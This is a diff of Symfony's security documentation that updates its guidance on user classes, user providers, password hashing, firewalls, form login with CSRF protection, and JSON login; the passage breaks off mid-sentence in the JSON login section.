public function getId(): ?int + { + return $this->id; + } -.. _initial-security-yml-setup-authentication: -.. _initial-security-yaml-setup-authentication: -.. _create-user-class: + public function getEmail(): ?string + { + return $this->email; + } -2a) Create your User Class --------------------------- + public function setEmail(string $email): self + { + $this->email = $email; -No matter *how* you will authenticate (e.g. login form or API tokens) or *where* -your user data will be stored (database, single sign-on), the next step is always the same: -create a "User" class. The easiest way is to use the `MakerBundle`_. + return $this; + } -Let's assume that you want to store your user data in the database with Doctrine: + /** + * The public representation of the user (e.g. a username, an email address, etc.) + * + * @see UserInterface + */ + public function getUserIdentifier(): string + { + return (string) $this->email; + } -.. code-block:: terminal + /** + * @see UserInterface + */ + public function getRoles(): array + { + $roles = $this->roles; + // guarantee every user at least has ROLE_USER + $roles[] = 'ROLE_USER'; - $ php bin/console make:user + return array_unique($roles); + } - The name of the security user class (e.g. User) [User]: - > User + public function setRoles(array $roles): self + { + $this->roles = $roles; - Do you want to store user data in the database (via Doctrine)? (yes/no) [yes]: - > yes + return $this; + } - Enter a property name that will be the unique "display" name for the user (e.g. - email, username, uuid [email] - > email + /** + * @see PasswordAuthenticatedUserInterface + */ + public function getPassword(): string + { + return $this->password; + } - Does this app need to hash/check user passwords? (yes/no) [yes]: - > yes + public function setPassword(string $password): self + { + $this->password = $password; - created: src/Entity/User.php - created: src/Repository/UserRepository.php - updated: src/Entity/User.php - updated: config/packages/security.yaml + return $this; + } -That's it! The command asks several questions so that it can generate exactly what -you need. The most important is the ``User.php`` file itself. The *only* rule about -your ``User`` class is that it *must* implement :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`. -Feel free to add *any* other fields or logic you need. If your ``User`` class is -an entity (like in this example), you can use the :ref:`make:entity command <doctrine-add-more-fields>` -to add more fields. Also, make sure to make and run a migration for the new entity: + // [...] + } -.. code-block:: terminal +.. tip:: - $ php bin/console make:migration - $ php bin/console doctrine:migrations:migrate + Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or + ``--with-ulid`` to ``make:user``. Leveraging Symfony's :doc:`Uid Component </components/uid>`, + this generates a ``User`` entity with the ``id`` type as :ref:`Uuid <uuid>` + or :ref:`Ulid <ulid>` instead of ``int``. -.. _security-user-providers: -.. _where-do-users-come-from-user-providers: +If your user is a Doctrine entity, like in the example above, don't forget +to create the tables by :ref:`creating and running a migration <doctrine-creating-the-database-tables-schema>`: -2b) The "User Provider" ------------------------ +.. code-block:: terminal -In addition to your ``User`` class, you also need a "User provider": a class that -helps with a few things, like reloading the User data from the session and some -optional features, like :doc:`remember me </security/remember_me>` and -:doc:`impersonation </security/impersonating_user>`. + $ php bin/console make:migration + $ php bin/console doctrine:migrations:migrate -Fortunately, the ``make:user`` command already configured one for you in your -``security.yaml`` file under the ``providers`` key. +.. tip:: -If your ``User`` class is an entity, you don't need to do anything else. But if -your class is *not* an entity, then ``make:user`` will also have generated a -``UserProvider`` class that you need to finish. Learn more about user providers -here: :doc:`User Providers </security/user_provider>`. + Starting in `MakerBundle`_: v1.56.0 - Passing ``--formatted`` to ``make:migration`` + generates a nice and tidy migration file. -.. _security-encoding-user-password: -.. _encoding-the-user-s-password: +.. _where-do-users-come-from-user-providers: +.. _security-user-providers: -2c) Encoding Passwords ----------------------- +Loading the User: The User Provider +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Not all applications have "users" that need passwords. *If* your users have passwords, -you can control how those passwords are encoded in ``security.yaml``. The ``make:user`` -command will pre-configure this for you: +Besides creating the entity, the ``make:user`` command also adds config +for a user provider in your security configuration: .. configuration-block:: @@ -164,18 +233,16 @@ command will pre-configure this for you: security: # ... - encoders: - # use your user class name here - App\Entity\User: - # Use native password encoder - # This value auto-selects the best possible hashing algorithm - # (i.e. Sodium when available). - algorithm: auto + providers: + app_user_provider: + entity: + class: App\Entity\User + property: email .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -187,11 +254,9 @@ command will pre-configure this for you: <config> <!-- ... --> - <encoder class="App\Entity\User" - algorithm="auto" - cost="12"/> - - <!-- ... --> + <provider name="app_user_provider"> + <entity class="App\Entity\User" property="email"/> + </provider> </config> </srv:container> @@ -199,88 +264,216 @@ command will pre-configure this for you: // config/packages/security.php use App\Entity\User; + use Symfony\Config\SecurityConfig; - $container->loadFromExtension('security', [ - // ... - - 'encoders' => [ - User::class => [ - 'algorithm' => 'auto', - 'cost' => 12, - ] - ], - + return static function (SecurityConfig $security): void { // ... - ]); -Now that Symfony knows *how* you want to encode the passwords, you can use the -``UserPasswordEncoderInterface`` service to do this before saving your users to -the database. + $security->provider('app_user_provider') + ->entity() + ->class(User::class) + ->property('email') + ; + }; -.. _user-data-fixture: +This user provider knows how to (re)load users from a storage (e.g. a database) +based on a "user identifier" (e.g. the user's email address or username). +The configuration above uses Doctrine to load the ``User`` entity using the +``email`` property as "user identifier". + +User providers are used in a couple places during the security lifecycle: + +**Load the User based on an identifier** + During login (or any other authenticator), the provider loads the user + based on the user identifier. Some other features, like + :doc:`user impersonation </security/impersonating_user>` and + :doc:`Remember Me </security/remember_me>` also use this. + +**Reload the User from the session** + At the beginning of each request, the user is loaded from the + session (unless your firewall is ``stateless``). The provider + "refreshes" the user (e.g. the database is queried again for fresh + data) to make sure all user information is up to date (and if + necessary, the user is de-authenticated/logged out if something + changed). See :ref:`user_session_refresh` for more information about + this process. + +Symfony comes with several built-in user providers: + +:ref:`Entity User Provider <security-entity-user-provider>` + Loads users from a database using :doc:`Doctrine </doctrine>`; +:ref:`LDAP User Provider <security-ldap-user-provider>` + Loads users from a LDAP server; +:ref:`Memory User Provider <security-memory-user-provider>` + Loads users from a configuration file; +:ref:`Chain User Provider <security-chain-user-provider>` + Merges two or more user providers into a new user provider. + Since each firewall has exactly *one* user provider, you can use this + to chain multiple providers together. + +The built-in user providers cover the most common needs for applications, but you +can also create your own :ref:`custom user provider <security-custom-user-provider>`. -For example, by using :ref:`DoctrineFixturesBundle <doctrine-fixtures>`, you can -create dummy database users: +.. note:: -.. code-block:: terminal + Sometimes, you need to inject the user provider in another class (e.g. + in your custom authenticator). All user providers follow this pattern + for their service ID: ``security.user.provider.concrete.<your-provider-name>`` + (where ``<your-provider-name>`` is the configuration key, e.g. + ``app_user_provider``). If you only have one user provider, you can autowire + it using the :class:`Symfony\\Component\\Security\\Core\\User\\UserProviderInterface` + type-hint. - $ php bin/console make:fixtures +.. _security-encoding-user-password: - The class name of the fixtures to create (e.g. AppFixtures): - > UserFixtures +Registering the User: Hashing Passwords +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Use this service to encode the passwords: +Many applications require a user to log in with a password. For these +applications, the SecurityBundle provides password hashing and verification +functionality. -.. code-block:: diff +First, make sure your User class implements the +:class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`:: - // src/DataFixtures/UserFixtures.php + // src/Entity/User.php - + use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface; // ... + use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface; - class UserFixtures extends Fixture + class User implements UserInterface, PasswordAuthenticatedUserInterface { - + private $passwordEncoder; - - + public function __construct(UserPasswordEncoderInterface $passwordEncoder) - + { - + $this->passwordEncoder = $passwordEncoder; - + } + // ... - public function load(ObjectManager $manager) + /** + * @return string the hashed password for this user + */ + public function getPassword(): string { - $user = new User(); + return $this->password; + } + } + +Then, configure which password hasher should be used for this class. If your +``security.yaml`` file wasn't already pre-configured, then ``make:user`` should +have done this for you: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + password_hashers: + # Use native password hasher, which auto-selects and migrates the best + # possible hashing algorithm (which currently is "bcrypt") + Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface: 'auto' + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + <!-- Use native password hasher, which auto-selects and migrates the best + possible hashing algorithm (currently this is "bcrypt") --> + <password-hasher class="Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface" algorithm="auto"/> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use App\Entity\User; + use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface; + + return static function (SecurityConfig $security): void { // ... - + $user->setPassword($this->passwordEncoder->encodePassword( - + $user, - + 'the_new_password' - + )); + // Use native password hasher, which auto-selects and migrates the best + // possible hashing algorithm (currently this is "bcrypt") + $security->passwordHasher(PasswordAuthenticatedUserInterface::class) + ->algorithm('auto') + ; + }; + +Now that Symfony knows *how* you want to hash the passwords, you can use the +``UserPasswordHasherInterface`` service to do this before saving your users to +the database:: + + // src/Controller/RegistrationController.php + namespace App\Controller; + + // ... + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface; + + class RegistrationController extends AbstractController + { + public function index(UserPasswordHasherInterface $passwordHasher): Response + { + // ... e.g. get the user data from a registration form + $user = new User(...); + $plaintextPassword = ...; + + // hash the password (based on the security.yaml config for the $user class) + $hashedPassword = $passwordHasher->hashPassword( + $user, + $plaintextPassword + ); + $user->setPassword($hashedPassword); // ... } } -You can manually encode a password by running: +.. note:: -.. code-block:: terminal + If your user class is a Doctrine entity and you hash user passwords, the + Doctrine repository class related to the user class must implement the + :class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface`. - $ php bin/console security:encode-password +.. _security-make-registration-form: -.. _security-yaml-firewalls: -.. _security-firewalls: -.. _firewalls-authentication: +.. tip:: -3a) Authentication & Firewalls ------------------------------- + The ``make:registration-form`` maker command can help you set-up the + registration controller and add features like email address + verification using the `SymfonyCastsVerifyEmailBundle`_. + + .. code-block:: terminal -.. versionadded:: 5.1 + $ composer require symfonycasts/verify-email-bundle + $ php bin/console make:registration-form - The ``lazy: true`` option was introduced in Symfony 5.1. Prior to version 5.1, - it was enabled using ``anonymous: lazy`` +You can also manually hash a password by running: -The security system is configured in ``config/packages/security.yaml``. The *most* -important section is ``firewalls``: +.. code-block:: terminal + + $ php bin/console security:hash-password + +Read more about all available hashers and password migration in +:doc:`security/passwords`. + +.. _firewalls-authentication: +.. _a-authentication-firewalls: + +The Firewall +------------ + +The ``firewalls`` section of ``config/packages/security.yaml`` is the *most* +important section. A "firewall" is your authentication system: the firewall +defines which parts of your application are secured and *how* your users +will be able to authenticate (e.g. login form, API token, etc). .. configuration-block:: @@ -288,18 +481,29 @@ important section is ``firewalls``: # config/packages/security.yaml security: + # ... firewalls: + # the order in which firewalls are defined is very important, as the + # request will be handled by the first firewall whose pattern matches dev: pattern: ^/(_(profiler|wdt)|css|images|js)/ security: false + # a firewall with no pattern should be defined last because it will match all requests main: - anonymous: true lazy: true + # provider that you set earlier inside providers + provider: app_user_provider + + # activate different ways to authenticate + # https://symfony.com/doc/current/security.html#firewalls-authentication + + # https://symfony.com/doc/current/security/impersonating_user.html + # switch_user: true .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -309,63 +513,125 @@ important section is ``firewalls``: https://symfony.com/schema/dic/security/security-1.0.xsd"> <config> + <!-- ... --> + + <!-- the order in which firewalls are defined is very important, as the + request will be handled by the first firewall whose pattern matches --> <firewall name="dev" pattern="^/(_(profiler|wdt)|css|images|js)/" security="false"/> + <!-- a firewall with no pattern should be defined last because it will match all requests --> <firewall name="main" - anonymous="true" lazy="true"/> - </firewall> + + <!-- activate different ways to authenticate + https://symfony.com/doc/current/security.html#firewalls-authentication --> + + <!-- https://symfony.com/doc/current/security/impersonating_user.html --> + <!-- <switch-user/> --> </config> </srv:container> .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ - 'firewalls' => [ - 'dev' => [ - 'pattern' => '^/(_(profiler|wdt)|css|images|js)/', - 'security' => false, - ], - 'main' => [ - 'anonymous' => true, - 'lazy' => true, - ], - ], - ]); - -A "firewall" is your authentication system: the configuration below it defines -*how* your users will be able to authenticate (e.g. login form, API token, etc). + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + + // the order in which firewalls are defined is very important, as the + // request will be handled by the first firewall whose pattern matches + $security->firewall('dev') + ->pattern('^/(_(profiler|wdt)|css|images|js)/') + ->security(false) + ; + + // a firewall with no pattern should be defined last because it will match all requests + $security->firewall('main') + ->lazy(true) + + // activate different ways to authenticate + // https://symfony.com/doc/current/security.html#firewalls-authentication + + // https://symfony.com/doc/current/security/impersonating_user.html + // ->switchUser(true) + ; + }; Only one firewall is active on each request: Symfony uses the ``pattern`` key -to find the first match (you can also :doc:`match by host or other things </security/firewall_restriction>`). -The ``dev`` firewall is really a fake firewall: it makes sure that you don't -accidentally block Symfony's dev tools - which live under URLs like ``/_profiler`` -and ``/_wdt``. +to find the first match (you can also +:doc:`match by host or other things </security/firewall_restriction>`). +Here, all real URLs are handled by the ``main`` firewall (no ``pattern`` key means +it matches *all* URLs). + +The ``dev`` firewall is really a fake firewall: it makes sure that you +don't accidentally block Symfony's dev tools - which live under URLs like +``/_profiler`` and ``/_wdt``. + +.. tip:: + + When matching several routes, instead of creating a long regex you can also + use an array of simpler regexes to match each route: + + .. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + firewalls: + dev: + pattern: + - ^/_profiler/ + - ^/_wdt/ + - ^/css/ + - ^/images/ + - ^/js/ + # ... + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + $security->firewall('dev') + ->pattern([ + '^/_profiler/', + '^/_wdt/', + '^/css/', + '^/images/', + '^/js/', + ]) + ->security(false) + ; + + // ... + }; -All *real* URLs are handled by the ``main`` firewall (no ``pattern`` key means -it matches *all* URLs). A firewall can have many modes of authentication, -in other words many ways to ask the question "Who are you?". Often, the -user is unknown (i.e. not logged in) when they first visit your website. The -``anonymous`` mode, if enabled, is used for these requests. + This feature is not supported by the XML configuration format. -In fact, if you go to the homepage right now, you *will* have access and you'll -see that you're "authenticated" as ``anon.``. The firewall verified that it -does not know your identity, and so, you are anonymous: +A firewall can have many modes of authentication, in other words, it enables many +ways to ask the question "Who are you?". Often, the user is unknown (i.e. not logged in) +when they first visit your website. If you visit your homepage right now, you *will* +have access and you'll see that you're visiting a page behind the firewall in the toolbar: .. image:: /_images/security/anonymous_wdt.png - :align: center + :alt: The Symfony profiler toolbar where the Security information shows "Authenticated: no" and "Firewall name: main" -It means any request can have an anonymous token to access some resource, -while some actions (i.e. some pages or buttons) can still require specific -privileges. A user can then access a form login without being authenticated -as a unique user (otherwise an infinite redirection loop would happen -asking the user to authenticate while trying to doing so). +Visiting a URL under a firewall doesn't necessarily require you to be authenticated +(e.g. the login form has to be accessible or some parts of your application +are public). On the other hand, all pages that you want to be *aware* of a logged in +user have to be under the same firewall. So if you want to display a *"You are logged in +as ..."* message on every page, they all have to be included in the same firewall. -You'll learn later how to deny access to certain URLs, controllers, or part of -templates. +You'll learn how to restrict access to URLs, controllers or +anything else within your firewall in the :ref:`access control +<security-access-control>` section. .. tip:: @@ -376,105 +642,1626 @@ templates. .. note:: - If you do not see the toolbar, install the :doc:`profiler </profiler>` with: + If you do not see the toolbar, install the :doc:`profiler </profiler>` + with: .. code-block:: terminal $ composer require --dev symfony/profiler-pack -Now that we understand our firewall, the next step is to create a way for your -users to authenticate! +Fetching the Firewall Configuration for a Request +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -.. _security-form-login: +If you need to get the configuration of the firewall that matched a given request, +use the :class:`Symfony\\Bundle\\SecurityBundle\\Security` service:: + + // src/Service/ExampleService.php + // ... + + use Symfony\Bundle\SecurityBundle\Security; + use Symfony\Component\HttpFoundation\RequestStack; + + class ExampleService + { + public function __construct( + // Avoid calling getFirewallConfig() in the constructor: auth may not + // be complete yet. Instead, store the entire Security object. + private Security $security, + private RequestStack $requestStack, + ) { + } + + public function someMethod(): void + { + $request = $this->requestStack->getCurrentRequest(); + $firewallName = $this->security->getFirewallConfig($request)?->getName(); + + // ... + } + } -3b) Authenticating your Users ------------------------------ +.. _security-authenticators: -Authentication in Symfony can feel a bit "magic" at first. That's because, instead -of building a route & controller to handle login, you'll activate an -*authentication provider*: some code that runs automatically *before* your controller -is called. +Authenticating Users +-------------------- -Symfony has several :doc:`built-in authentication providers </security/auth_providers>`. -If your use-case matches one of these *exactly*, great! But, in most cases - including -a login form - *we recommend building a Guard Authenticator*: a class that allows -you to control *every* part of the authentication process (see the next section). +During authentication, the system tries to find a matching user for the +visitor of the webpage. Traditionally, this was done using a login form or +a HTTP basic dialog in the browser. However, the SecurityBundle comes with +many other authenticators: + +* `Form Login`_ +* `JSON Login`_ +* `HTTP Basic`_ +* `Login Link`_ +* `X.509 Client Certificates`_ +* `Remote users`_ +* :doc:`Custom Authenticators </security/custom_authenticator>` .. tip:: - If your application logs users in via a third-party service such as Google, - Facebook or Twitter (social login), check out the `HWIOAuthBundle`_ community - bundle. + If your application logs users in via a third-party service such as + Google, Facebook or Twitter (social login), check out the `HWIOAuthBundle`_ + community bundle or `Oauth2-client`_ package. -Guard Authenticators -~~~~~~~~~~~~~~~~~~~~ +.. _security-form-login: -A Guard authenticator is a class that gives you *complete* control over your -authentication process. There are many different ways to build an authenticator; -here are a few common use-cases: +Form Login +~~~~~~~~~~ -* :doc:`/security/form_login_setup` -* :doc:`/security/guard_authentication` – see this for the most detailed - description of authenticators and how they work +Most websites have a login form where users authenticate using an +identifier (e.g. email address or username) and a password. This +functionality is provided by the built-in :class:`Symfony\\Component\\Security\\Http\Authenticator\\FormLoginAuthenticator`. -.. _`security-authorization`: -.. _denying-access-roles-and-other-authorization: +You can run the following command to create everything needed to add a login +form in your application: -4) Denying Access, Roles and other Authorization ------------------------------------------------- +.. code-block:: terminal -Users can now log in to your app using your login form. Great! Now, you need to learn -how to deny access and work with the User object. This is called **authorization**, -and its job is to decide if a user can access some resource (a URL, a model object, -a method call, ...). + $ php bin/console make:security:form-login -The process of authorization has two different sides: +This command will create the required controller and template and it will also +update the security configuration. Alternatively, if you prefer to make these +changes manually, follow the next steps. -#. The user receives a specific set of roles when logging in (e.g. ``ROLE_ADMIN``). -#. You add code so that a resource (e.g. URL, controller) requires a specific - "attribute" (most commonly a role like ``ROLE_ADMIN``) in order to be - accessed. +First, create a controller for the login form: -Roles -~~~~~ +.. code-block:: terminal -When a user logs in, Symfony calls the ``getRoles()`` method on your ``User`` -object to determine which roles this user has. In the ``User`` class that we -generated earlier, the roles are an array that's stored in the database, and -every user is *always* given at least one role: ``ROLE_USER``:: + $ php bin/console make:controller Login - // src/Entity/User.php + created: src/Controller/LoginController.php + created: templates/login/index.html.twig - // ... - class User - { - /** - * @ORM\Column(type="json") - */ - private $roles = []; +.. code-block:: php - // ... - public function getRoles(): array - { - $roles = $this->roles; - // guarantee every user at least has ROLE_USER - $roles[] = 'ROLE_USER'; + // src/Controller/LoginController.php + namespace App\Controller; - return array_unique($roles); + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; + + class LoginController extends AbstractController + { + #[Route('/login', name: 'app_login')] + public function index(): Response + { + return $this->render('login/index.html.twig', [ + 'controller_name' => 'LoginController', + ]); } } -This is a nice default, but you can do *whatever* you want to determine which roles -a user should have. Here are a few guidelines: +Then, enable the ``FormLoginAuthenticator`` using the ``form_login`` setting: -* Every role **must start with** ``ROLE_`` (otherwise, things won't work as expected) +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + firewalls: + main: + # ... + form_login: + # "app_login" is the name of the route created previously + login_path: app_login + check_path: app_login + + .. code-block:: xml -* Other than the above rule, a role is just a string and you can invent what you - need (e.g. ``ROLE_PRODUCT_ADMIN``). + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + <firewall name="main"> + <!-- "app_login" is the name of the route created previously --> + <form-login login-path="app_login" check-path="app_login"/> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + + $mainFirewall = $security->firewall('main'); + + // "app_login" is the name of the route created previously + $mainFirewall->formLogin() + ->loginPath('app_login') + ->checkPath('app_login') + ; + }; + +.. note:: + + The ``login_path`` and ``check_path`` support URLs and route names (but + cannot have mandatory wildcards - e.g. ``/login/{foo}`` where ``foo`` + has no default value). + +Once enabled, the security system redirects unauthenticated visitors to the +``login_path`` when they try to access a secured place (this behavior can +be customized using :ref:`authentication entry points <security-entry-point>`). + +Edit the login controller to render the login form: + +.. code-block:: diff + + // ... + + use Symfony\Component\Security\Http\Authentication\AuthenticationUtils; + + class LoginController extends AbstractController + { + #[Route('/login', name: 'app_login')] + - public function index(): Response + + public function index(AuthenticationUtils $authenticationUtils): Response + { + + // get the login error if there is one + + $error = $authenticationUtils->getLastAuthenticationError(); + + + + // last username entered by the user + + $lastUsername = $authenticationUtils->getLastUsername(); + + + return $this->render('login/index.html.twig', [ + - 'controller_name' => 'LoginController', + + 'last_username' => $lastUsername, + + 'error' => $error, + ]); + } + } + +Don't let this controller confuse you. Its job is only to *render* the form. +The ``FormLoginAuthenticator`` will handle the form *submission* automatically. +If the user submits an invalid email or password, that authenticator will store +the error and redirect back to this controller, where we read the error (using +``AuthenticationUtils``) so that it can be displayed back to the user. + +Finally, create or update the template: + +.. code-block:: html+twig + + {# templates/login/index.html.twig #} + {% extends 'base.html.twig' %} + + {# ... #} + + {% block body %} + {% if error %} + <div>{{ error.messageKey|trans(error.messageData, 'security') }}</div> + {% endif %} + + <form action="{{ path('app_login') }}" method="post"> + <label for="username">Email:</label> + <input type="text" id="username" name="_username" value="{{ last_username }}" required> + + <label for="password">Password:</label> + <input type="password" id="password" name="_password" required> + + {# If you want to control the URL the user is redirected to on success + <input type="hidden" name="_target_path" value="/account"> #} + + <button type="submit">login</button> + </form> + {% endblock %} + +.. warning:: + + The ``error`` variable passed into the template is an instance + of :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`. + It may contain sensitive information about the authentication failure. + *Never* use ``error.message``: use the ``messageKey`` property instead, + as shown in the example. This message is always safe to display. + +The form can look like anything, but it usually follows some conventions: + +* The ``<form>`` element sends a ``POST`` request to the ``app_login`` route, since + that's what you configured as the ``check_path`` under the ``form_login`` key in + ``security.yaml``; +* The username (or whatever your user's "identifier" is, like an email) field has + the name ``_username`` and the password field has the name ``_password``. + +.. tip:: + + Actually, all of this can be configured under the ``form_login`` key. See + :ref:`reference-security-firewall-form-login` for more details. + +.. danger:: + + This login form is currently not protected against CSRF attacks. Read + :ref:`form_login-csrf` on how to protect your login form. + +And that's it! When you submit the form, the security system automatically +reads the ``_username`` and ``_password`` POST parameter, loads the user via +the user provider, checks the user's credentials and either authenticates the +user or sends them back to the login form where the error can be displayed. + +To review the whole process: + +#. The user tries to access a resource that is protected (e.g. ``/admin``); +#. The firewall initiates the authentication process by redirecting the + user to the login form (``/login``); +#. The ``/login`` page renders login form via the route and controller created + in this example; +#. The user submits the login form to ``/login``; +#. The security system (i.e. the ``FormLoginAuthenticator``) intercepts the + request, checks the user's submitted credentials, authenticates the user if + they are correct, and sends the user back to the login form if they are not. + +.. seealso:: + + You can customize the responses on a successful or failed login + attempt. See :doc:`/security/form_login`. + +.. _form_login-csrf: + +CSRF Protection in Login Forms +.............................. + +`Login CSRF attacks`_ can be prevented using the same technique of adding hidden +CSRF tokens into the login forms. The Security component already provides CSRF +protection, but you need to configure some options before using it. + +First, you need to enable CSRF on the form login: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + firewalls: + secured_area: + # ... + form_login: + # ... + enable_csrf: true + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + + <firewall name="secured_area"> + <!-- ... --> + <form-login enable-csrf="true"/> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + + $mainFirewall = $security->firewall('main'); + $mainFirewall->formLogin() + // ... + ->enableCsrf(true) + ; + }; + +.. _csrf-login-template: + +Then, use the ``csrf_token()`` function in the Twig template to generate a CSRF +token and store it as a hidden field of the form. By default, the HTML field +must be called ``_csrf_token`` and the string used to generate the value must +be ``authenticate``: + +.. code-block:: html+twig + + {# templates/login/index.html.twig #} + + {# ... #} + <form action="{{ path('app_login') }}" method="post"> + {# ... the login fields #} + + <input type="hidden" name="_csrf_token" data-controller="csrf-protection" value="{{ csrf_token('authenticate') }}"> + + <button type="submit">login</button> + </form> + +After this, you have protected your login form against CSRF attacks. + +.. tip:: + + You can change the name of the field by setting ``csrf_parameter`` and change + the token ID by setting ``csrf_token_id`` in your configuration. See + :ref:`reference-security-firewall-form-login` for more details. + +.. _security-json-login: + +JSON Login +~~~~~~~~~~ + +Some applications provide an API that is secured using tokens. These +applications may use an endpoint that provides these tokens based on a +username (or email) and password. The JSON login authenticator helps you create +this functionality. + +Enable the authenticator using the ``json_login`` setting: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + firewalls: + main: + # ... + json_login: + # api_login is a route we will create below + check_path: api_login + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + <firewall name="main"> + <json-login check-path="api_login"/> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + + $mainFirewall = $security->firewall('main'); + $mainFirewall->jsonLogin() + ->checkPath('api_login') + ; + }; + +.. note:: + + The ``check_path`` supports URLs and route names (but cannot have + mandatory wildcards - e.g. ``/login/{foo}`` where ``foo`` has no + default value). + +The authenticator runs when a client requests the ``check_path``. First, +create a controller for this path: + +.. code-block:: terminal + + $ php bin/console make:controller --no-template ApiLogin + + created: src/Controller/ApiLoginController.php + +.. code-block:: php + + // src/Controller/ApiLoginController.php + namespace App\Controller; + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; + + class ApiLoginController extends AbstractController + { + #[Route('/api/login', name: 'api_login')] + public function index(): Response + { + return $this->json([ + 'message' => 'Welcome to your new controller!', + 'path' => 'src/Controller/ApiLoginController.php', + ]); + } + } + +This login controller will be called after the authenticator successfully +authenticates the user. You can get the authenticated user, generate a +token (or whatever you need to return) and return the JSON response: + +.. code-block:: diff + + // ... + + use App\Entity\User; + + use Symfony\Component\Security\Http\Attribute\CurrentUser; + + class ApiLoginController extends AbstractController + { + - #[Route('/api/login', name: 'api_login')] + + #[Route('/api/login', name: 'api_login', methods: ['POST'])] + - public function index(): Response + + public function index(#[CurrentUser] ?User $user): Response + { + + if (null === $user) { + + return $this->json([ + + 'message' => 'missing credentials', + + ], Response::HTTP_UNAUTHORIZED); + + } + + + + $token = ...; // somehow create an API token for $user + + + return $this->json([ + - 'message' => 'Welcome to your new controller!', + - 'path' => 'src/Controller/ApiLoginController.php', + + 'user' => $user->getUserIdentifier(), + + 'token' => $token, + ]); + } + } + +.. note:: + + The ``#[CurrentUser]`` can only be used in controller arguments to + retrieve the authenticated user. In services, you would use + :method:`Symfony\\Bundle\\SecurityBundle\\Security::getUser`. + +That's it! To summarize the process: + +#. A client (e.g. the front-end) makes a *POST request* with the + ``Content-Type: application/json`` header to ``/api/login`` with + ``username`` (even if your identifier is actually an email) and + ``password`` keys: + + .. code-block:: json + + { + "username": "dunglas@example.com", + "password": "MyPassword" + } +#. The security system intercepts the request, checks the user's submitted + credentials 